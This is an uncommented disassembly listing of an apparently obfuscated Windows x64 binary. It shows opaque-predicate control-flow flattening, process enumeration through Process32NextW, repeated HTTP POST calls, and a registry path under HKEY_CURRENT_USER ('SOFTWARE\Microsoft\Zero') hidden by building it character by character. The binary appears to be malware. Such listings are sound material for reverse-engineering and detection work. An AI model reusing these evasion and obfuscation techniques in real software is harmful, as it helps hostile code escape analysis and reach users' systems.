movups xmmword [0x14008754a], xmm6
movaps xmmword [0x140087540], xmm6
movaps xmmword [0x140087530], xmm6
movaps xmmword [0x140087520], xmm6
movaps xmmword [0x140087510], xmm6
movaps xmmword [0x140087500], xmm6
movaps xmmword [0x1400874f0], xmm6
movaps xmmword [0x1400874e0], xmm6
movaps xmmword [0x1400874d0], xmm6
movaps xmmword [0x1400874c0], xmm6
movaps xmmword [0x1400874b0], xmm6
movaps xmmword [0x1400874a0], xmm6
movaps xmmword [0x140087490], xmm6
movaps xmmword [0x140087480], xmm6
movaps xmmword [0x140087470], xmm6
movaps xmmword [0x140087460], xmm6
sub rsp, 0x20
lea rcx, [0x140087460]
lea rdx, str.unknown
call fcn.140060c84
add rsp, 0x20
mov ecx, dword [0x1400820f8]
mov eax, dword [0x1400820fc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xfb6ba776
and edx, 0x4945889
or edx, ecx
mov ebx, edx
xor ebx, 0x4945889
xor edx, 0xc941a012
and edx, 0xc955e013
mov ecx, ebx
and ecx, 0x36aa1fec
or ecx, edx
xor ecx, 0x36aa1fed
and ebx, 0xfffffffe
or ebx, ecx
cmp ebx, 0xffffffff
sete cl
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
and al, dl
and cl, bl
or cl, al
mov eax, ebx
and al, dl
xor bl, dl
or bl, al
mov eax, ebx
xor al, cl
mov edx, 0x54c7ba16
mov eax, 0xe25d7458
cmovne edx, eax
test bl, bl
mov eax, 0x54c7ba16
cmovne eax, edx
test cl, cl
cmove eax, edx
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
xor eax, ecx
test eax, ecx
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, edx
xor cl, al
test al, al
mov eax, 0xfbd69390
mov ebx, 0xc9445304
cmovne eax, ebx
test dl, dl
mov edx, 0xfbd69390
cmove eax, edx
jmp 0x14002ae0d
mov ecx, dword [0x1400820f8]
mov eax, dword [0x1400820fc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x754f26fe
and edx, 0x8ab0d901
or edx, ecx
mov ebx, edx
xor ebx, 0x8ab0d901
xor edx, 0x30042474
and edx, 0x3034ed75
mov ecx, ebx
and ecx, 0xcfcb128a
or ecx, edx
xor ecx, 0xcfcb128b
and ebx, 0xfffffffe
or ebx, ecx
cmp ebx, 0xffffffff
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and cl, al
or al, dl
and bl, dl
or bl, cl
mov ecx, ebx
xor cl, al
test bl, bl
mov edx, 0xaa933fa6
mov ebx, 0x54088e03
cmovne edx, ebx
test al, al
mov eax, 0xaa933fa6
cmovne edx, eax
test cl, cl
jmp 0x140026bee
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, ebx
not edx
and ebx, 0x3a100162
mov eax, edx
and eax, 0xc5effe9d
or eax, ebx
xor eax, 0xc5effe9c
and edx, 0xfffffffe
or edx, eax
cmp edx, 0xffffffff
setne al
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and dl, cl
and bl, al
or bl, dl
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov eax, ecx
xor al, bl
mov edx, 0xdfc0dc08
mov eax, 0x462e05a1
cmovne edx, eax
test cl, cl
mov eax, 0xdfc0dc08
cmovne eax, edx
test bl, bl
jmp 0x14002a32f
mov eax, 0xcac10534
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, 0x25de34a8
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, 0xaef7279a
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, 0x9f61507a
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
not edx
or edx, eax
cmp edx, 0xffffffff
sete r8b
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov eax, ecx
xor al, dl
and al, cl
and bl, r8b
and cl, dl
or cl, bl
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0x6b410a77
mov ebx, 0x970989d4
cmovne ecx, ebx
test al, al
mov eax, 0x6b410a77
jmp 0x14002b398
sub rsp, 0x20
mov edx, 0xfa
lea rcx, [0x140086fc0]
lea r8, [0x14007b1f0]
lea r9, str.unknown_pc
call fcn.14002be10
add rsp, 0x20
mov eax, 0x334178f
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp dword [rbp + 0x120], 0
sete byte [rbp + 0x112]
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
cmp edx, 0xffffffff
sete r8b
setne dl
cmp ecx, 9
setg al
cmp ecx, 0xa
setl cl
mov ebx, eax
xor al, dl
and dl, cl
and bl, r8b
or bl, dl
or cl, r8b
xor cl, 1
or cl, al
mov eax, ecx
xor al, bl
test cl, cl
mov ecx, 0xfaafd883
mov edx, 0x6518e769
cmovne ecx, edx
test bl, bl
cmove ecx, edx
test al, al
mov eax, 0xfaafd883
jmp 0x14002b481
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x5c1c1cf0
and ecx, 0xa3e3e30f
or ecx, edx
xor ecx, 0xa3e3e30e
xor eax, ecx
test eax, ecx
setne al
cmp dword [0x1400820fc], 9
setg cl
mov edx, ecx
and dl, al
xor cl, al
or dl, cl
mov eax, edx
xor al, cl
test dl, dl
mov edx, 0xe4b7e1c1
mov ebx, 0x6a0e377f
cmovne edx, ebx
test cl, cl
cmove edx, ebx
test al, al
mov eax, 0xe4b7e1c1
jmp 0x14002a730
sub rsp, 0x20
lea rcx, [0x140086f40]
lea rdx, [0x14007b218]
call fcn.140060c84
add rsp, 0x20
mov eax, 0xe2a2f0c1
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov rcx, qword [rbp + 0xd8]
sub rsp, 0x20
call qword [0x140081bc8]
add rsp, 0x20
mov eax, 0x4b4e3054
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, ebx
not edx
and ebx, 0x108542e7
mov eax, edx
and eax, 0xef7abd18
or eax, ebx
xor eax, 0xef7abd19
and edx, 0xfffffffe
or edx, eax
cmp edx, 0xffffffff
setne al
sete dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
xor cl, dl
mov edx, ebx
and dl, al
xor bl, al
or bl, dl
mov eax, ebx
xor al, cl
mov eax, 0xcc674aa9
mov edx, 0xb147a2de
cmovne eax, edx
test bl, bl
mov edx, 0xcc674aa9
cmovne edx, eax
test cl, cl
cmove edx, eax
jmp 0x14002babc
mov eax, 0x517715c9
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x4c4e1ec
and ecx, 0xfb3b1e13
or ecx, edx
xor ecx, 0x4c4e1ed
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x1400820fc], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
mov eax, 0xcbdddcb3
mov ebx, 0xb7426dce
cmovne eax, ebx
test cl, cl
mov ecx, 0xcbdddcb3
cmovne ecx, eax
test dl, dl
jmp 0x14002b481
sub rsp, 0x20
lea rcx, [0x140086f40]
lea rdx, [0x14007b218]
call fcn.140060c84
add rsp, 0x20
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xfffffffe
xor ecx, 1
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
test al, al
mov eax, 0x861b5f7b
mov ebx, 0x3adf8eb1
cmovne eax, ebx
test cl, cl
mov ecx, 0x861b5f7b
cmove eax, ecx
jmp 0x14002b007
mov eax, 0xfb9b39a
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, 0x992343e5
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov ecx, dword [0x1400820f8]
mov eax, dword [0x1400820fc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0x979c3de7
mov ebx, ecx
and ebx, 0x6863c218
or ebx, edx
xor ebx, 0x6863c219
and ecx, 0xfffffffe
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x2828a978
and ecx, 0xd7d75687
or ecx, edx
xor ecx, 0xd7d75687
setne cl
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and dl, al
and bl, cl
or bl, dl
mov edx, eax
and dl, cl
xor al, cl
or al, dl
mov ecx, eax
xor cl, bl
test al, al
mov eax, 0xb4317b3a
mov edx, 0xcd0f6e05
cmovne eax, edx
test bl, bl
cmove eax, edx
test cl, cl
mov ecx, 0xb4317b3a
jmp 0x14002b9c2
mov rax, qword [rbp + 0x88]
mov rax, qword [rbp + 0x80]
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x7ec6a1c3
mov edx, eax
and edx, 0x81395e3c
or edx, ecx
xor edx, 0x81395e3d
and eax, 0xfffffffe
or eax, edx
cmp eax, 0xffffffff
sete al
setne cl
cmp dword [0x1400820fc], 0xa
setl dl
xor cl, dl
mov ebx, eax
xor bl, dl
xor cl, 1
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, bl
mov ecx, 0xa28a2c09
mov eax, 0xb3ee43b0
cmovne ecx, eax
test dl, dl
mov eax, 0xa28a2c09
cmovne eax, ecx
test bl, bl
jmp 0x14002b9c2
mov rax, qword [rbp + 0x20]
movsx eax, byte [rax + 2]
mov word [0x140086f40], ax
mov rax, qword [rbp + 0x20]
movsx eax, byte [rax + 3]
mov word [0x140086f42], ax
mov eax, 0xede31a12
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov rdi, qword [0x140087440]
sub rsp, 0x20
lea rbx, [0x140081b60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
add rsp, 0x20
add eax, eax
mov rcx, qword [rbp - 0x28]
mov rcx, qword [rcx]
sub rsp, 0x30
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
xor edx, edx
lea r8, str.POST
mov r9d, 1
call rdi
add rsp, 0x30
mov rax, qword [rbp - 0x28]
mov rcx, qword [rax]
sub rsp, 0x20
call qword [0x140087448]
add rsp, 0x20
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xdc428285
and edx, 0x23bd7d7a
or edx, ebx
xor edx, 0x23bd7d7b
xor eax, edx
test eax, edx
setne al
sete dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
xor cl, dl
mov edx, ebx
and dl, al
xor bl, al
or bl, dl
mov eax, ebx
xor al, cl
test bl, bl
mov edx, 0xb530d933
mov ebx, 0x2a9da1de
cmovne edx, ebx
test cl, cl
cmove edx, ebx
test al, al
mov eax, 0xb530d933
jmp 0x14002a730
mov rdx, qword [rbp - 0x18]
add rdx, 0x2c
sub rsp, 0x20
lea rdi, [0x140082120]
mov rcx, rdi
call fcn.140060c84
mov rcx, rdi
lea rdx, [0x14007b4ee]
call fcn.140060c84
add rsp, 0x20
mov rdx, qword [rbp - 0x18]
mov rcx, qword [rbp + 0xa0]
sub rsp, 0x20
call sub.KERNEL32.dll_Process32NextW
add rsp, 0x20
mov eax, 0x4f120fde
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, 0x5a664a8
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov rdi, qword [0x140087440]
sub rsp, 0x20
lea rbx, [0x140081b60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
add rsp, 0x20
add eax, eax
mov rcx, qword [rbp - 0x28]
mov rcx, qword [rcx]
sub rsp, 0x30
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
xor edx, edx
lea r8, str.POST
mov r9d, 1
call rdi
add rsp, 0x30
mov rax, qword [rbp - 0x28]
mov rcx, qword [rax]
sub rsp, 0x20
call qword [0x140087448]
add rsp, 0x20
mov eax, 0x8bc12530
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x865a2522
and ecx, 0x79a5dadd
or ecx, eax
mov eax, ecx
xor eax, 0x79a5dadd
xor ecx, 0x84082522
and ecx, 0xb42d3da3
mov edx, eax
and edx, 0x4bd2c25c
or edx, ecx
xor edx, 0x4bd2c25d
and eax, 0xfffffffe
or eax, edx
cmp eax, 0xffffffff
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, edx
xor cl, al
test al, al
mov eax, 0xc5723115
mov ebx, 0x50307394
cmovne eax, ebx
test dl, dl
mov edx, 0xc5723115
jmp 0x14002ae0a
mov eax, 0xec19e5f5
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov ecx, dword [0x1400820f8]
mov eax, dword [0x1400820fc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xa6f46e67
and edx, 0x590b9198
or edx, ecx
mov ebx, edx
xor ebx, 0x590b9198
xor edx, 0x82a02444
and edx, 0xdba02444
mov ecx, ebx
and ecx, 0x245fdbbb
or ecx, edx
xor ecx, 0x245fdbba
and ebx, 0xfffffffe
or ebx, ecx
cmp ebx, 0xffffffff
setne r8b
sete cl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov edx, ecx
xor dl, al
xor bl, r8b
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, dl
mov ecx, 0x5a724125
mov ebx, 0x61667d8a
cmovne ecx, ebx
test al, al
mov eax, 0x5a724125
cmovne eax, ecx
jmp 0x14002b9c0
mov ecx, dword [0x1400820f8]
mov eax, dword [0x1400820fc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xaf3eda21
and edx, 0x50c125de
or edx, ecx
mov ecx, edx
xor ecx, 0x50c125de
and ecx, 0xfffffffe
xor edx, 0xaf3eda20
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x9abd63cb
and edx, 0x65429c34
or edx, ecx
xor edx, 0x65429c34
setne cl
cmp eax, 9
setg dl
cmp eax, 0xa
setl al
xor al, cl
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
mov ecx, eax
xor cl, dl
mov ecx, 0xd6f84897
mov ebx, 0x7dc8f07d
cmovne ecx, ebx
test dl, dl
mov edx, 0x7dc8f07d
cmovne edx, ecx
jmp 0x14002b7ec
mov eax, 0x9e681c4e
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xe9f50c66
mov edx, eax
and edx, 0x160af399
or edx, ecx
xor edx, 0x160af398
and eax, 0xfffffffe
or eax, edx
cmp eax, 0xffffffff
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, edx
xor cl, al
mov ecx, 0x462e05a1
mov ebx, 0x57df5123
jmp 0x14002b9b6
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xc00d73f5
and edx, 0x3ff28c0a
or edx, ebx
xor edx, 0x3ff28c0b
xor eax, edx
test eax, edx
sete r8b
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov eax, ecx
xor al, dl
and al, cl
and bl, r8b
and cl, dl
or cl, bl
mov edx, eax
xor dl, cl
mov edx, 0x2bdb3349
mov ebx, 0x1cfd5af3
jmp 0x14002bc19
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x3db53bd8
and ecx, 0xc24ac427
or ecx, edx
xor ecx, 0x3db53bd9
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0xe25d7458
mov ebx, 0xc0a967ba
cmovne eax, ebx
test dl, dl
mov edx, 0xe25d7458
cmove eax, edx
test cl, cl
cmovne eax, ebx
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
or cl, dl
xor bl, al
mov eax, ecx
xor al, bl
mov edx, 0x4a487c0a
mov eax, 0x31ca4901
cmovne edx, eax
test bl, bl
mov eax, edx
mov ebx, 0x4a487c0a
cmovne eax, ebx
test cl, cl
cmovne eax, edx
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, dword [rbp + 0x118]
mov eax, 0x92eb4d84
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xab23c063
mov edx, eax
and edx, 0x54dc3f9c
or edx, ecx
xor edx, 0x54dc3f9d
and eax, 0xfffffffe
or eax, edx
cmp eax, 0xffffffff
setne al
cmp dword [0x1400820fc], 9
setg cl
mov edx, eax
xor dl, cl
and cl, al
or cl, dl
mov ebx, ecx
xor bl, dl
test cl, cl
mov eax, 0xc2bf55ea
mov ecx, 0xcd0f6e05
cmovne eax, ecx
test dl, dl
cmove eax, ecx
test bl, bl
mov ecx, 0xc2bf55ea
jmp 0x14002b9c2
mov eax, 0xab9fd874
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov rdi, qword [0x140087440]
sub rsp, 0x20
lea rbx, [0x140081b60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
add rsp, 0x20
add eax, eax
mov rcx, qword [rbp - 0x28]
mov rcx, qword [rcx]
sub rsp, 0x30
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
xor edx, edx
lea r8, str.POST
mov r9d, 1
call rdi
add rsp, 0x30
mov rax, qword [rbp - 0x28]
mov rcx, qword [rax]
sub rsp, 0x20
call qword [0x140087448]
add rsp, 0x20
mov ecx, dword [0x1400820f8]
mov edi, dword [0x1400820fc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x8a25f15b
and edx, 0x75da0ea4
or edx, ecx
mov ebx, edx
xor ebx, 0x75da0ea4
xor edx, 0x8024e113
and edx, 0xd52ce993
mov ecx, ebx
and ecx, 0x2ad3166c
or ecx, edx
xor ecx, 0x2ad3166d
and ebx, 0xfffffffe
or ebx, ecx
cmp ebx, 0xffffffff
sete al
setne dl
cmp edi, 0xa
setl bl
cmp edi, 9
setg cl
or cl, dl
xor bl, al
mov edx, ecx
xor dl, bl
test bl, bl
mov eax, 0x823e3bfd
mov ebx, 0x8f31e60b
cmovne eax, ebx
test cl, cl
mov ecx, 0x823e3bfd
cmovne eax, ecx
test dl, dl
jmp 0x14002b8ed
sub rsp, 0x20
call fcn.1400011d0
add rsp, 0x20
mov rax, qword [rbp - 0x40]
mov rax, qword [rbp - 0x40]
mov dword [rax], 0xff
mov rax, qword [rbp - 0x38]
movaps xmmword [rax], xmm6
mov dword [rax + 0x10], 0
mov rax, qword [rbp - 0x30]
mov rbx, qword [rbp - 0x30]
sub rsp, 0x20
mov r8d, 0x5dc
mov rcx, rbx
xor edx, edx
call fcn.140059c80
add rsp, 0x20
mov rax, qword [rbp - 0x30]
mov word [rax + 0x18], 0x72
mov rax, qword [rbp - 0x30]
mov word [rax + 0x1a], 0x6f
mov rax, qword [rbp - 0x30]
mov word [rax + 0x1c], 0x73
mov word [rbx], 0x53
mov rax, qword [rbp - 0x30]
mov word [rax + 0x12], 0x4d
mov rax, qword [rbp - 0x30]
mov word [rax + 0x2c], 0x6f
mov rax, qword [rbp - 0x30]
mov word [rax + 0xa], 0x41
mov rax, qword [rbp - 0x30]
mov word [rax + 0xc], 0x52
mov rax, qword [rbp - 0x30]
mov word [rax + 0xe], 0x45
mov rax, qword [rbp - 0x30]
mov word [rax + 0x10], 0x5c
mov rax, qword [rbp - 0x30]
mov word [rax + 0x24], 0x5c
mov rax, qword [rbp - 0x30]
mov word [rax + 0x26], 0x5a
mov rax, qword [rbp - 0x30]
mov word [rax + 2], 0x4f
mov rax, qword [rbp - 0x30]
mov word [rax + 4], 0x46
mov rax, qword [rbp - 0x30]
mov word [rax + 6], 0x54
mov rax, qword [rbp - 0x30]
mov word [rax + 8], 0x57
mov rax, qword [rbp - 0x30]
mov word [rax + 0x20], 0x66
mov rax, qword [rbp - 0x30]
mov word [rax + 0x22], 0x74
mov rax, qword [rbp - 0x30]
mov word [rax + 0x14], 0x69
mov rax, qword [rbp - 0x30]
mov word [rax + 0x16], 0x63
mov rax, qword [rbp - 0x30]
mov word [rax + 0x1e], 0x6f
mov rax, qword [rbp - 0x30]
mov word [rax + 0x28], 0x65
mov rax, qword [rbp - 0x30]
mov word [rax + 0x2a], 0x72
mov rax, qword [rbp - 0x40]
sub rsp, 0x40
mov qword [rsp + 0x30], rax
lea rax, [0x140081b60]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
mov rcx, 0xffffffff80000001
mov rdx, rbx
lea r8, str.POST
mov r9d, 0xffff
call qword [0x140087438]
add rsp, 0x40
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xf984698c
and edx, 0x67b9673
or edx, ebx
xor edx, 0xf984698d
or edx, eax
cmp edx, 0xffffffff
sete r8b
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov eax, ecx
xor al, dl
and al, cl
and bl, r8b
and cl, dl
or cl, bl
mov edx, eax
xor dl, cl
test cl, cl
mov ecx, 0xfbd69390
mov ebx, 0x916c5b5
cmovne ecx, ebx
test al, al
mov eax, 0xfbd69390
jmp 0x14002b398
mov dword [rbp - 0x74], 0
mov eax, 0xb360330b
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, 0x9138dcab
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, 0xad6c0ac
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
sub rsp, 0x20
lea rcx, [0x140086f40]
lea rdx, [0x14007b218]
call fcn.140060c84
add rsp, 0x20
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xd0ba5593
and edx, 0x2f45aa6c
or edx, ebx
xor edx, 0xd0ba5592
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
and dl, cl
and bl, al
or bl, dl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, bl
mov eax, 0xfddf4018
mov edx, 0x7485592a
cmovne eax, edx
test cl, cl
mov ecx, 0xfddf4018
cmovne ecx, eax
test bl, bl
jmp 0x14002b481
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
and dl, cl
and bl, al
or bl, dl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, bl
mov eax, 0x1e55044b
mov edx, 0xc991504a
cmovne eax, edx
test cl, cl
mov ecx, 0x1e55044b
jmp 0x14002b47c
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0x5534d6dc
and edx, 0xaacb2923
or edx, eax
mov eax, edx
xor eax, 0xaacb2922
and eax, 0xfffffffe
xor edx, 0x5534d6dd
or edx, eax
cmp edx, 0xffffffff
sete r8b
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov eax, ecx
xor al, dl
and al, cl
and bl, r8b
and cl, dl
or cl, bl
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0x8d3b86e0
mov ebx, 0xdccd2622
cmovne ecx, ebx
test al, al
mov eax, 0x8d3b86e0
cmove ecx, eax
test dl, dl
cmovne ecx, ebx
jmp 0x14002bd11
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
mov eax, edx
not eax
and eax, 0x4fc4b60e
and edx, 0xb03b49f1
or edx, eax
xor edx, 0xb03b49f1
sete r8b
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov eax, ecx
xor al, dl
and al, cl
and bl, r8b
and cl, dl
or cl, bl
mov edx, eax
xor dl, cl
mov edx, 0xc375a6cd
mov ebx, 0xf277ac5c
jmp 0x14002bc19
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xef2ae381
and edx, 0x10d51c7e
or edx, ebx
xor edx, 0xef2ae380
or edx, eax
cmp edx, 0xffffffff
sete r8b
setne dl
cmp ecx, 9
setg al
cmp ecx, 0xa
setl cl
mov ebx, eax
xor al, dl
and dl, cl
and bl, r8b
or bl, dl
or cl, r8b
xor cl, 1
or cl, al
mov eax, ecx
xor al, bl
mov eax, 0x4611b0af
mov edx, 0x9c1b3096
cmovne eax, edx
test cl, cl
mov ecx, 0x4611b0af
cmovne ecx, eax
test bl, bl
cmove ecx, eax
jmp 0x14002bd11
mov ecx, dword [0x1400820f8]
mov eax, dword [0x1400820fc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xeccc2487
and edx, 0x1333db78
or edx, ecx
mov ecx, edx
xor ecx, 0x1333db78
xor edx, 0xa8400083
and edx, 0xaa6290db
mov ebx, ecx
and ebx, 0x559d6f24
or ebx, edx
xor ebx, 0x559d6f25
and ecx, 0xfffffffe
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x3fda13f7
and ecx, 0xc025ec08
or ecx, edx
xor ecx, 0xc025ec08
sete cl
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
and al, dl
and cl, bl
or cl, al
mov eax, ebx
and al, dl
xor bl, dl
or bl, al
mov eax, ebx
xor al, cl
test bl, bl
mov edx, 0x7d0b2dbe
mov ebx, 0x78386040
cmovne edx, ebx
test cl, cl
cmove edx, ebx
test al, al
mov eax, 0x7d0b2dbe
jmp 0x14002a730
sub rsp, 0x20
call fcn.1400011d0
add rsp, 0x20
mov rax, qword [rbp - 0x40]
mov rax, qword [rbp - 0x40]
mov dword [rax], 0xff
mov rax, qword [rbp - 0x38]
movaps xmmword [rax], xmm6
mov dword [rax + 0x10], 0
mov rax, qword [rbp - 0x30]
mov rbx, qword [rbp - 0x30]
sub rsp, 0x20
mov r8d, 0x5dc
mov rcx, rbx
xor edx, edx
call fcn.140059c80
add rsp, 0x20
mov rax, qword [rbp - 0x30]
mov word [rax + 0x18], 0x72
mov rax, qword [rbp - 0x30]
mov word [rax + 0x1a], 0x6f
mov rax, qword [rbp - 0x30]
mov word [rax + 0x1c], 0x73
mov word [rbx], 0x53
mov rax, qword [rbp - 0x30]
mov word [rax + 0x12], 0x4d
mov rax, qword [rbp - 0x30]
mov word [rax + 0x2c], 0x6f
mov rax, qword [rbp - 0x30]
mov word [rax + 0xa], 0x41
mov rax, qword [rbp - 0x30]
mov word [rax + 0xc], 0x52
mov rax, qword [rbp - 0x30]
mov word [rax + 0xe], 0x45
mov rax, qword [rbp - 0x30]
mov word [rax + 0x10], 0x5c
mov rax, qword [rbp - 0x30]
mov word [rax + 0x24], 0x5c
